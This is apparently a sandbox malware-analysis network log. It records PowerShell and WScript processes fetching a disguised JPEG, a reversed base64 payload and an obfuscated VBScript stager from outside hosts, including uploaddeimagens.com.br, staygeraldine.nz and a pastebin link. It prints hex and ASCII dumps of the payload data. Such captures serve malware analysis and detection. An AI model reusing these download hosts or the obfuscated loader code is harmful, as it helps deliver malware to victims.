2024-05-01 06:36:58 UTC	1369	IN	Data Raw: a5 6d 8c cd d3 9f 6e 71 af 23 4f 2a 2a 19 ce e6 21 78 42 07 e7 8a 6a fc 36 18 23 94 09 98 95 e9 cf 5c 04 9d 56 48 91 90 b1 a5 a2 3f ae 5c b2 4a ea cb 1a 92 00 5a 51 db df 2f a3 d8 a4 ab 10 23 22 c9 ee 49 ed 97 45 58 dd bc b1 e9 e8 d6 3a 57 38 03 48 9b ce e1 c8 37 c5 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 5b b2 3c d9 ca ef 2d 4a c6 b2 d3 45 12 51 56 bb 17 f5 c0 e8 b5 0c 7d 3b aa ba 1f 7c 31 d4 c8 06 ed a4 af 7a c4 95 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 92 48 Data Ascii: mnq#O*!xBj6#\VH?\JZQ/#"IEX:W8H7qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@BH
2024-05-01 06:36:58 UTC	1369	IN	Data Raw: f1 23 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e 16 48 e4 65 0c 49 0d 60 70 47 b0 1d 7e a3 01 49 74 6b a9 8d 4e e2 50 a2 b6 d5 e4 1e 49 35 5c 59 f7 c6 84 70 a0 0c 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 e1 47 00 2f 93 7c 76 00 1e f9 e7 0a 9d 3e a4 84 2a c5 4d ab 29 b1 f0 fd 70 1c d6 68 d7 4a c1 96 65 65 6e 42 f3 78 a1 7d c7 36 f4 fe 1b 36 ae 17 d4 4f ea 91 d7 d0 a5 bf 13 76 24 df 18 b6 ab 45 14 5a 58 5c 3a ac db 03 32 96 14 dd 41 20 fc 0e 06 68 bb eb 43 0d 04 07 53 a8 8e 21 76 cc 16 Data Ascii: #K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	172.67.215.45	443	8128	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:37:01 UTC	100	OUT	GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1 Host: uploaddeimagens.com.br
2024-05-01 06:37:01 UTC	693	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:37:01 GMT Content-Type: image/jpeg Content-Length: 4198361 Connection: close Last-Modified: Tue, 23 Apr 2024 14:20:29 GMT ETag: "6627c3ad-400fd9" Cache-Control: max-age=2678400 CF-Cache-Status: HIT Age: 2428 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7bTE1IL2c41SpYL4JCsY1U%2Bn1qRcjeirYzFNGIxqWc7nNmklg9x6aUDN9d1MtzHfm7icXzZs5eFpdzyH7zQXT%2FgcdPXmRUWDfaVDYxtOjVwhWvBocSgpx3o2hlH4aZTTVK5Noh89Z4cQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cdc2b57b6f081f-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 06:37:01 UTC	676	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: 2e 54 7a 99 be b9 63 d3 ad 1c a9 63 d2 be b8 15 dc 4a 9b b5 f6 ac 1a 1d a4 90 41 f9 f5 cb 17 56 b0 39 f7 ca 11 67 70 34 3b e0 19 9c 70 c7 be 09 9c 37 21 fa 76 ca b3 a0 53 7e 9c 42 5d 62 23 10 87 76 03 6f 2e c3 b8 da df b6 25 36 bf 69 21 3f 35 c4 e6 d4 3c b6 49 a1 82 02 c7 4f ae 05 84 f2 4b 7e 6b b6 df 6c b3 6d d8 28 82 3d bb e5 42 9a ce a7 1c 91 81 c0 2a b0 a5 a3 84 2c 78 be bd b0 04 d9 e9 47 df 08 1e a8 55 9c 0b 96 35 c9 a1 92 08 f7 bf 86 50 9d c0 ae de bc 61 b4 da 79 27 72 91 45 b9 c2 ee da 18 02 c0 72 76 8e fc 5e 01 75 1a 59 74 e1 37 15 2a e0 30 75 e4 72 a0 d7 cf 9c 09 24 55 fe 78 f4 b2 09 9b ee cc 41 2d 0c 4f 19 ed b8 46 b6 39 f7 16 3e 75 99 c5 82 c6 49 5e 4f 1f 5e ff 00 96 05 67 d4 79 34 41 b2 d9 9a ee ce e5 9b 92 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e Data Ascii: .TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4ApC.
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: 56 1e 41 ae 79 bf e9 81 0d e2 32 08 62 56 d4 c8 4a 93 bb 69 0a d5 db af e5 8d cb e2 41 e1 60 81 c1 b0 4b 3d 5f e4 3a e6 02 10 5f 8e a3 9e 98 fc 65 44 44 96 dc 6f f2 c0 d9 8b 58 da 88 99 c3 b2 81 01 02 8d 5b 7b e6 47 8a 4a 1a 18 d1 9e 47 7d c4 ee 77 0d fc ba 61 0b 95 87 ad 02 38 cc bf 25 9f 73 03 64 1b ac 0e 0a 5b 4a 38 24 86 e0 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c 41 4f 51 96 d3 ea a5 88 6c 41 b9 79 b5 f7 c5 c0 06 ef 8e 31 dd 14 48 ee a0 3d 12 68 9c 06 fc 3f 4b 2e a7 54 b2 4d 4b 08 e4 82 78 61 ed 9b f3 6a 67 99 d7 c3 b4 11 24 6a 08 6b 56 ab 03 Data Ascii: VAy2bVJiA`K=_:_eDDoX[{GJG}wa8%sd[J8$cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a b2 58 9b af 86 10 6a 83 70 c4 13 ef ed 88 ec 2c c7 a8 ac a9 47 57 ba 24 55 f1 81 a3 bd 9d 96 98 71 dc e5 5e 42 a5 bd 56 40 bf 86 2e 8c 01 50 7b e4 3b 30 6b 09 60 f0 6f a5 60 59 f5 4d d0 1b e2 f1 49 b5 74 a7 77 43 c5 e1 24 65 0a d4 45 8e c3 12 d8 b3 ab 2b 30 e3 9c 00 78 66 bb 4a 8d 2e 9f 4e 79 57 2c d6 73 45 75 8a 1b 69 60 2f a6 65 68 fc 3f 4f 0e b6 51 18 51 23 f2 79 ea 31 8d 58 8f 4f 0b 4f 35 05 41 ba fa 60 31 e2 1e 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 df 00 fa 87 8e 68 Data Ascii: r7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+EDhyS+z`a(h
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: ca c8 48 50 a3 af 73 92 1d 11 95 63 62 c2 b9 b1 9d 2e 98 46 14 06 1e af a8 c1 24 65 25 00 b0 2a 7a 9f 86 06 ae 85 92 2a 49 4d b1 4a a0 2e af 17 d5 44 04 a0 d9 00 37 e1 be b8 7d 23 23 48 18 20 6d b6 07 6c 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c Data Ascii: HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: 52 cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c 63 4e 88 d2 84 31 17 b1 e9 50 c5 6b ea 30 22 c0 e2 f7 77 1d 86 71 90 af 73 7f 0c 0d 43 a1 a5 e3 4c a6 bb 89 5b 8f 9f a7 2a fa 22 bb 6f 4c b4 4d 7a 64 6a fa f1 8a c1 ac 9c cf 12 99 a6 71 b8 0d aa c6 cf 3d 33 d1 ce ea fa 56 31 a2 db 10 9c 80 6f ad 8a 3d aa ef 9c 0c 73 a0 43 75 a6 5a 06 8d cc c3 fa 67 2e 89 28 56 91 48 3d 0f 9a 48 fc eb 3d 01 82 3f 3b 72 a4 61 aa ba 00 55 7d 85 0e 9f 5c 21 86 c0 b0 a4 7b 0c 0f 3c 34 4a c7 8d 3a 90 3f fb 69 e3 ff 00 0e 17 4f e0 b3 4f 32 bc 5a 55 5e 6c 39 9d 97 69 1d 0f e1 eb 79 b8 23 8d 48 a2 01 ec 08 b1 92 0c 85 c9 f3 4d 8f 73 55 80 ac fe 0b 0e b3 c4 97 59 1c ac b2 ab 2b 48 cc cb 6a 55 46 d2 ab 55 46 8d df 4f 8f 4c c7 d4 e8 9b 4f 3e a4 69 b4 10 88 a1 6d c1 e6 9b a2 92 76 91 Data Ascii: RvOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^l9iy#HMsUY+HjUFUFOLO>imv
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: 2e fa 66 7b a3 f9 62 40 a4 5d 7e 2e fc 60 2f 1a a2 3f 24 93 54 4f 61 8e 2d 4a 9b 56 e9 7a d6 26 59 88 36 aa 2b db 0b 1f 99 15 6d e7 70 bc 03 c9 28 8d 76 ef 00 f4 e7 28 60 0a 81 81 52 b4 4f 18 35 2c 75 54 e8 38 e8 48 be d8 e8 53 3c 2c a3 69 da 3a 03 47 f2 c0 41 b6 ae 98 28 71 ea e0 93 db 20 c6 87 4c 44 64 b1 2d 74 3e 58 ab 02 ac 45 11 cf 7c 6b 46 76 ab 10 81 be 78 14 92 09 56 15 77 71 b7 b0 38 c4 53 9d 52 ac 12 c4 0a a8 fc 43 a8 c0 49 1c f3 7a c2 96 5f 61 db 02 92 3c 36 14 95 f7 b1 80 6d 62 69 90 a8 81 f7 7f 88 9c 8d 14 eb a7 9c 3b 0b 5e f8 23 0b ed 57 23 86 e9 83 e4 58 c0 f4 4f af 86 d9 1b a1 1b 94 fb 9c 04 3e 27 3c 5a 95 96 34 2c 3f 0f 1e f9 89 cd 8b c7 a1 98 a4 41 4a 85 fe 21 7d f0 0f ad f1 4d 6b 6b 19 98 b2 1b e1 7d b1 87 d3 cd a9 d3 2c f6 ca 7a 90 dd Data Ascii: .f{b@]~.`/?$TOa-JVz&Y6+mp(v(`RO5,uT8HS<,i:GA(q LDd-t>XE\|kFvxVwq8SRCIz_a<6mbi;^#W#XO>'<Z4,?AJ!}Mkk},z
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: 1f 76 75 23 8f 4d 56 78 a0 db 5c 89 23 5d bd be 18 60 c1 e2 dc 63 5a 51 55 ef 81 e8 13 ed 54 52 b8 67 d3 35 06 21 42 f7 c7 f5 3f 6b f4 b0 e9 83 36 96 50 38 1c 1a 39 e4 21 7b e1 23 51 ec 79 eb 87 62 25 fd dc 88 ac 3b f2 70 37 0f da d8 1e 20 cb a5 9a 8f bb 62 69 f6 af 4b bd 80 d2 4a 0d f3 6d 99 4e a1 18 aa 00 54 76 ba c5 66 01 19 58 46 a0 9e 4d 1b c0 f4 9f fc 4d a0 59 96 63 a2 70 ed c7 5e 71 6d 5f da 5d 16 bb 4c d0 49 a3 93 67 00 8b eb 9e 73 57 aa 68 d3 7e d0 c7 b7 c3 07 0e a5 a7 87 70 00 71 c8 1e f8 1a de 1f e2 fa 0f 09 59 57 4d a1 98 96 3c 96 ec 31 98 be d6 69 8b 94 3a 47 51 d4 1b eb 98 7a 67 79 94 a1 b0 41 ac 60 e9 d5 c8 26 35 b5 e3 9e 30 35 9b ed 4c 09 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae 53 53 a5 49 23 08 Data Ascii: vu#MVx\#]`cZQUTRg5!B?k6P89!{#Qyb%;p7 biKJmNTvfXFMMYcp^qm_]LIgsWh~pqYWM<1i:GQzgyA`&505L;7 B>9WSSHTs8rSSI#
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: 6d 8c cd d3 9f 6e 71 af 23 4f 2a 2a 19 ce e6 21 78 42 07 e7 8a 6a fc 36 18 23 94 09 98 95 e9 cf 5c 04 9d 56 48 91 90 b1 a5 a2 3f ae 5c b2 4a ea cb 1a 92 00 5a 51 db df 2f a3 d8 a4 ab 10 23 22 c9 ee 49 ed 97 45 58 dd bc b1 e9 e8 d6 3a 57 38 03 48 9b ce e1 c8 37 c5 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 5b b2 3c d9 ca ef 2d 4a c6 b2 d3 45 12 51 56 bb 17 f5 c0 e8 b5 0c 7d 3b aa ba 1f 7c 31 d4 c8 06 ed a4 af 7a c4 95 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 92 48 35 Data Ascii: mnq#O*!xBj6#\VH?\JZQ/#"IEX:W8H7qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@BH5
2024-05-01 06:37:01 UTC	1369	IN	Data Raw: 23 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e 16 48 e4 65 0c 49 0d 60 70 47 b0 1d 7e a3 01 49 74 6b a9 8d 4e e2 50 a2 b6 d5 e4 1e 49 35 5c 59 f7 c6 84 70 a0 0c 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 e1 47 00 2f 93 7c 76 00 1e f9 e7 0a 9d 3e a4 84 2a c5 4d ab 29 b1 f0 fd 70 1c d6 68 d7 4a c1 96 65 65 6e 42 f3 78 a1 7d c7 36 f4 fe 1b 36 ae 17 d4 4f ea 91 d7 d0 a5 bf 13 76 24 df 18 b6 ab 45 14 5a 58 5c 3a ac db 03 32 96 14 dd 41 20 fc 0e 06 68 bb eb 43 0d 04 07 53 a8 8e 21 76 cc 16 c2 Data Ascii: #K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	185.184.154.65	443	8128	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:37:10 UTC	79	OUT	GET /cs/xwapri.txt HTTP/1.1 Host: staygeraldine.nz Connection: Keep-Alive
2024-05-01 06:37:10 UTC	247	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 May 2024 06:37:10 GMT Content-Type: text/plain Content-Length: 46424 Connection: close Upgrade: h2,h2c Last-Modified: Tue, 30 Apr 2024 12:03:25 GMT Accept-Ranges: bytes Vary: Accept-Encoding
2024-05-01 06:37:10 UTC	7935	IN	Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-05-01 06:37:10 UTC	16384	IN	Data Raw: 67 41 41 41 58 41 55 47 41 79 42 51 59 41 63 48 41 30 42 67 5a 41 38 47 41 54 4e 42 41 41 38 44 41 2f 41 77 50 48 41 41 41 6c 42 51 62 41 45 47 41 4f 42 77 63 41 4d 48 41 6c 42 77 59 41 38 47 41 79 42 41 55 58 41 41 41 6c 42 41 62 41 51 48 41 70 42 41 56 41 63 48 41 76 42 41 5a 41 34 47 41 70 42 77 56 41 34 47 41 70 42 51 59 41 30 30 48 41 45 41 41 41 4d 43 41 6a 41 77 49 41 41 53 43 41 41 41 49 41 41 43 41 6a 41 77 49 41 4d 79 43 41 41 51 58 41 34 45 41 50 42 41 49 41 6f 44 41 4c 42 77 51 41 38 45 41 4d 42 77 55 41 41 46 41 42 42 77 51 41 73 56 48 41 41 51 58 41 59 45 41 47 42 77 54 41 41 43 41 36 41 77 53 41 4d 45 41 50 42 41 54 41 4d 46 41 51 42 51 51 41 4d 45 41 62 39 42 41 41 77 47 41 68 42 41 64 41 6b 47 41 77 42 51 59 41 4d 30 44 41 41 51 58 41 49 Data Ascii: gAAAXAUGAyBQYAcHA0BgZA8GATNBAA8DA/AwPHAAAlBQbAEGAOBwcAMHAlBwYA8GAyBAUXAAAlBAbAQHApBAVAcHAvBAZA4GApBwVA4GApBQYA00HAEAAAMCAjAwIAASCAAAIAACAjAwIAMyCAAQXA4EAPBAIAoDALBwQA8EAMBwUAAFABBwQAsVHAAQXAYEAGBwTAACA6AwSAMEAPBATAMFAQBQQAMEAb9BAAwGAhBAdAkGAwBQYAM0DAAQXAI
2024-05-01 06:37:11 UTC	16384	IN	Data Raw: 41 41 41 51 43 4d 41 67 41 41 41 41 43 2f 44 51 41 41 41 51 42 4c 43 77 41 41 41 51 42 45 43 67 41 41 41 51 42 2b 42 51 41 41 41 51 43 68 42 51 41 41 41 51 43 45 42 51 42 41 41 51 43 7a 41 41 42 41 41 51 42 4c 43 77 41 41 41 51 42 45 43 67 41 41 41 51 42 2b 42 51 41 41 41 51 43 4d 41 67 41 41 41 41 43 2f 44 51 41 41 41 77 42 62 42 51 41 41 41 77 42 62 42 51 41 41 41 77 42 62 42 51 41 41 41 77 42 62 42 51 41 41 41 41 43 4e 43 51 41 41 41 41 43 4e 43 67 41 41 41 41 43 49 43 51 41 41 41 41 43 31 42 51 41 41 41 77 41 6c 44 51 41 41 41 77 42 6f 42 51 41 41 41 41 43 4f 42 51 41 41 41 41 43 77 41 77 41 41 41 41 43 72 41 67 41 41 41 67 42 42 43 51 41 41 41 77 42 78 43 51 41 41 41 77 42 5a 43 51 41 41 41 77 41 6c 44 51 41 41 41 77 42 6f 42 51 41 41 41 77 42 62 42 Data Ascii: AAAQCMAgAAAAC/DQAAAQBLCwAAAQBECgAAAQB+BQAAAQChBQAAAQCEBQBAAQCzAABAAQBLCwAAAQBECgAAAQB+BQAAAQCMAgAAAAC/DQAAAwBbBQAAAwBbBQAAAwBbBQAAAwBbBQAAAACNCQAAAACNCgAAAACICQAAAAC1BQAAAwAlDQAAAwBoBQAAAACOBQAAAACwAwAAAACrAgAAAgBBCQAAAwBxCQAAAwBZCQAAAwAlDQAAAwBoBQAAAwBbB
2024-05-01 06:37:11 UTC	5721	IN	Data Raw: 52 6f 59 42 63 41 49 77 37 79 46 52 45 41 41 41 42 62 6a 6a 4a 47 41 41 41 31 67 69 42 41 41 41 59 6f 59 41 41 41 6f 46 4b 61 65 68 42 59 4d 6a 46 4b 41 41 41 48 68 69 46 77 42 67 41 70 4c 58 45 52 41 41 41 46 4d 41 4f 47 41 41 41 30 67 69 42 41 41 41 59 6f 59 41 41 41 6f 46 4b 61 69 68 42 61 65 68 42 61 4d 6a 46 4b 41 41 41 48 68 69 46 77 42 67 41 6a 4c 58 45 52 41 41 41 46 30 43 4f 47 41 41 41 35 67 69 42 41 41 41 59 6f 59 41 41 41 6f 46 4b 61 69 68 42 61 65 68 42 58 73 78 4d 57 6f 41 41 41 63 45 4b 57 41 48 41 43 55 74 63 52 45 42 41 41 55 41 57 34 59 41 41 41 6b 44 4b 55 51 68 46 4e 4d 6a 46 4b 41 41 41 48 68 69 46 77 42 67 41 42 4c 58 45 52 41 41 41 46 55 48 4f 4b 41 41 41 6b 67 69 46 4b 41 41 41 73 39 47 42 41 41 77 44 2b 70 41 41 41 49 33 62 59 51 Data Ascii: RoYBcAIw7yFREAAABbjjJGAAA1giBAAAYoYAAAoFKaehBYMjFKAAAHhiFwBgApLXERAAAFMAOGAAA0giBAAAYoYAAAoFKaihBaehBaMjFKAAAHhiFwBgAjLXERAAAF0COGAAA5giBAAAYoYAAAoFKaihBaehBXsxMWoAAAcEKWAHACUtcREBAAUAW4YAAAkDKUQhFNMjFKAAAHhiFwBgABLXERAAAFUHOKAAAkgiFKAAAs9GBAAwD+pAAAI3bYQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	172.67.19.24	443	2144	C:\Windows\SysWOW64\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 06:37:48 UTC	308	OUT	GET /raw/eEY9exCe HTTP/1.1 Accept: / Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: pastebin.com Connection: Keep-Alive
2024-05-01 06:37:48 UTC	391	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 06:37:48 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Tue, 30 Apr 2024 19:02:41 GMT Server: cloudflare CF-RAY: 87cdc3d8bf148009-IAD
2024-05-01 06:37:48 UTC	978	IN	Data Raw: 33 30 62 66 0d 0a 0d 0a 20 20 20 20 20 64 69 6d 20 61 70 61 6c 65 61 64 6f 72 20 2c 20 71 75 69 6d 6f 73 6f 20 2c 20 74 72 69 76 69 61 6c 20 2c 20 61 69 72 65 20 2c 20 6d 61 6c 61 6e 64 72 6f 20 2c 20 43 61 6d 61 20 2c 20 6d 61 6c 61 6e 64 72 6f 31 0d 0a 20 20 20 20 20 71 75 69 6d 6f 73 6f 20 3d 20 22 20 20 22 0d 0a 20 20 20 20 20 74 72 69 76 69 61 6c 20 20 3d 20 22 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 67 42 31 44 67 54 72 65 47 34 44 67 54 72 65 59 77 42 30 44 67 54 72 65 47 6b 44 67 54 72 65 62 77 42 75 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 52 44 67 54 72 65 42 76 44 67 54 72 65 48 63 44 67 54 72 65 62 67 42 73 44 67 54 72 65 47 38 44 67 54 72 65 59 51 42 6b 44 67 54 72 65 45 51 44 67 54 72 65 Data Ascii: 30bf dim apaleador , quimoso , trivial , aire , malandro , Cama , malandro1 quimoso = " " trivial = "" & aire & quimoso & aire & "gB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTre
2024-05-01 06:37:48 UTC	1369	IN	Data Raw: 44 67 54 72 65 59 51 42 6b 44 67 54 72 65 47 55 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 44 67 54 72 65 42 45 44 67 54 72 65 47 45 44 67 54 72 65 64 44 67 54 72 65 42 68 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 50 51 44 67 54 72 65 67 44 67 54 72 65 45 44 67 54 72 65 44 67 54 72 65 4b 44 67 54 72 65 44 67 54 72 65 70 44 67 54 72 65 44 73 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 6b 44 67 54 72 65 48 4d 44 67 54 72 65 61 44 67 54 72 65 42 31 44 67 54 72 65 47 59 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 61 69 72 65 20 26 20 22 67 42 73 44 67 54 72 65 47 55 44 67 54 72 65 22 20 26 20 61 69 72 65 20 26 20 71 75 69 6d 6f 73 6f 20 26 20 